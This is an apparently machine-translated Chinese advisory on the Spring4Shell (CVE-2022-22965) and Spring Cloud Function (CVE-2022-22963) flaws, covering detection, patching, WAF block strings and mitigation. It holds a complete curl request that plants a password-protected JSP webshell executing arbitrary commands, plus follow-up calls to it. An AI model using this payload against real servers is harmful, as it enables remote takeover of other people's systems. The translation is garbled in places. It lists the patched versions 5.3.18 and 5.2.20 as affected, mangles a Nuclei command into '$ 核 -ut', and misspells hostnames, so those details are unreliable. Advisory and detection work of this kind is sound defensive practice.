Java Spring框架中的两个安全漏洞已经为人所知,这些漏洞允许远程控制易受攻击的应用程序。这些新的网络漏洞,让人联想到Log4Shell,目前正在被积极利用,因此建议尽快审查网络应用程序并修补它们。
Spring4Shell漏洞 – CVE-2022-22965
Spring4Shell或SpringShell是漏洞的名称,后来被分配了代码CVE-2022-22965,允许通过一系列特定的HTTP请求远程执行代码。Spring4Shell漏洞非常关键,可能会损害易受攻击的应用程序管理的数据的机密性、完整性和可用性。这种弱点会影响使用@RequestMapping注释并将普通旧数据对象(POJO)作为输入参数的函数。
- 漏洞的影响:RCE(远程代码执行)
- CVSS:9.8 https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- 要求:Spring MVC和Spring WebFlux的使用。
- 应用程序容器:Apache Tomcat(漏洞目前仅适用于此环境)
- 应用程序打包为WAR
- 依赖项:SpringMVC和Spring WebFlux
- JDK >=9
- 春季版本受到以下影响:
- 5.3.18
- 5.2.20
有关此漏洞的官方发布在以下链接中提供了所有官方信息:• https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement#am-i-impacted • https://tanzu.vmware.com/security/cve-2022-22965
Spring4Shell漏洞利用方法
迄今为止开发和发布的漏洞使用Tomcat Java类AccessLogValve(https://tomcat.apache.org/tomcat-8.0-doc/api/org/apache/catalina/valves/AccessLogValve.html)。由于可能会滥用Spring Beans组件加载请求参数的方式,因此可以在运行时引用该类的实例并修改其属性。这些漏洞的操作在于通过classLoader引用具有以下参数的类:
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp。
这将把日志文件的后缀更改为“.jsp”。通过操作这种类型的参数,可以修改Tomcat应用程序服务器的行为,导致在Web应用程序/ROOT目录中使用恶意代码创建JSP文件,在大多数情况下是webshell。在第一个HTTP请求修改所有属性后,下一个请求已经能够使用webshell并执行作为参数发送的命令。
如何检查我是否容易受到Spring4Shell漏洞的影响
为了确认系统端点是否容易受到Spring4Shell的攻击,没有必要修改Tomcat日志记录函数的行为。从Tarlogic中,我们提出了三种可能的方法来检测和利用易受攻击的Spring实例中的Spring4Shell漏洞:
外部安全验证(非侵入性):
此请求对远程服务完全无害,因此它可以在任何类型的环境中执行,而不会有修改应用程序行为的风险:
$ curl -v https://TARGET/PATH/?class.module.classLoader.URLs%5B0%5D=0
另一种检测漏洞的方法如下:
$ curl -i -k https://TARGET/PATH/?class.module.classLoader.DefaultAssertionStatus=nosense | grep -i 4000
- 如果易受攻击,则返回400错误:
![图片[1]-Spring4Shell漏洞 – CVE-2022-22965和CVE-2022-22963](http://www.jinggr.com/wp-content/uploads/2024/11/image-37.png)
- 如果它不是易受攻击的,要么是因为应用程序已修补,要么是因为Spring版本是最新的,应用程序将通过返回不同的状态代码来忽略参数:
![图片[2]-Spring4Shell漏洞 – CVE-2022-22965和CVE-2022-22963](http://www.jinggr.com/wp-content/uploads/2024/11/image-39.png)
外部验证(侵入性攻击):
以下命令将创建一个受密码保护的webshell(pwd=TARLOGIC):
$ curl -H “suffix”:”%>//” -H “c1″:”Runtime” -H “c2″:”<%” -H “c3″:”TARLOGIC” -H “DNT”:”1″ -H “Content-Type”:”application/x-www-form-urlencoded” -d ‘class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22%25%7Bc3%7Di%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=’ https://TARGET
随后,可以在以下URL上调用远程外壳:
$ https://TARGET/tomcatwar.jsp?pwd=TARLOGIC&cmd=whoami
外部验证(侵入性较少的攻击):
与之前的相比,这种漏洞攻击方法在路径https://YOURSERVER/tarlogicCheckSpring4Shell.jsp中创建一个带有文本“Tarlogic 2022”的日志文件。要执行的命令如下:
$ curl -v -d “class.module.classLoader.resources.context.parent.pipeline.first.pattern=Tarlogic%202022&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tarlogicCheckSpring4Shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=” https://YOURSERVERVER/ $ curl https://YOURVER/tarlogicCheckSpring4Shell.jsp
建议在验证漏洞后重新启动Web服务器,以恢复应用程序的正常运行。
春季漏洞修复
最新版本的Spring框架已于2022年3月31日修补。包含修复漏洞的代码的提交可在以下链接中找到:https://github.com/spring-projects/spring-framework/commit/afbff391d8299034cd98af968981504b6ca7b38c
补丁更新和部署:
修补是防止Java Spring4Shell漏洞的最佳方法。该应用程序的更新版本如下:
- 5.3.18+(https://github.com/spring-projects/spring-framework/releases/tag/v5.3.18)
- 5.2.20+(https://github.com/spring-projects/spring-framework/releases/tag/v5.2.20。释放)
就SpringBoot而言,包含补丁的版本是:
- 2.6.6+(https://github.com/spring-projects/spring-boot/releases/tag/v2.6.6)
- 2.5.12+(https://github.com/spring-projects/spring-boot/releases/tag/v2.5.12)
Spring4shell缓解行动替代方案
暂时提出以下spring4shell脆弱性缓解行动:
- 在WAF中按规则阻止使用名称包含字符串“classLoader”或引用它的开始的参数:
- 块字符串“class..”、“Class.”、“.class.”和“。班级。”
- 变通方法修补课程:https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement
- 使用较低的JDK版本,如8,可以解决问题,尽管它将为其他攻击打开大门。
漏洞检测
Spring4shell漏洞检测可以使用以下Yara规则完成:https://github.com/Neo23x0/signature-base/blob/master/yara/expl_spring4shell.yar尽管主要建议是修补。
脆弱性CVE-2022-22963
漏洞CVE-2022-22963具有高度的关键性,允许远程代码执行,这可能会损害易受攻击的应用程序管理的数据的机密性、完整性和可用性。此漏洞已得到正确处理,自发布以来一直有一个CVE代码。官方文件可以在以下网站上找到:
- 网址https://tanzu.vmware.com/security/cve-2022-22963
- https://spring.io/blog/2022/03/29/cve-report-published-for-spring-cloud-function
Spring Cloud Functions可用于跨多个云提供商部署的无服务器功能。成功利用可能会泄露在云中发布的帐户或其他服务。
- 影响:RCE(远程代码执行)。
- 要求:需要使用Spring Cloud Function框架。
- 受影响的版本:<=3.1.6和<=3.2.2.2
- CVSS:(9.8 关键)
https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
漏洞解决方案CVE-2022-22963
主要解决方案是紧急将Spring Cloud Functions组件升级到修复此漏洞的新版本:
- 3.1.7
- 3.2.3
用核测试CVE-2022-22963的漏洞
以下是如何使用Nuclei远程检查漏洞的存在:
- $ 核 -ut
- $ nuclei -l LIST_URLS.txt -t cves/2022/CVE-2022-22963.yaml -rl 10 -o nuclei_CVE-2022-22963.out
额外的Spring4Shell参考资料
- https://www.tenable.com/blog/spring4shell-faq-spring-framework-remote-code-execution-vulnerability
- 原始漏洞发现链接:https://www.praetorian.com/blog/spring-core-jdk9-rce/
- 使用易受攻击的应用程序进行解释:https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
- 英文解释:https://www.hackplayers.com/2022/03/springshell-rce-core-spring.html
- JDK 9+的附加要求:https://twitter.com/wdormann/status/1509280535071309827
- 关于Spring4Shell检测的推文:https://twitter.com/i/web/status/1509208252722073606
- 春季框架发布:https://github.com/spring-projects/spring-framework/releases
- 脆弱的应用程序:https://github.com/TheGejr/SpringShell
- 网址:https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/
- 推特账号:https://twitter.com/springframework
- 验证Spring4Shell的Nuclei模板:https://github.com/projectdiscovery/nuclei-templates/pull/4017/files
随着有关Spring4Shell漏洞和检测、利用和缓解技术的更多信息,我们将更新内容。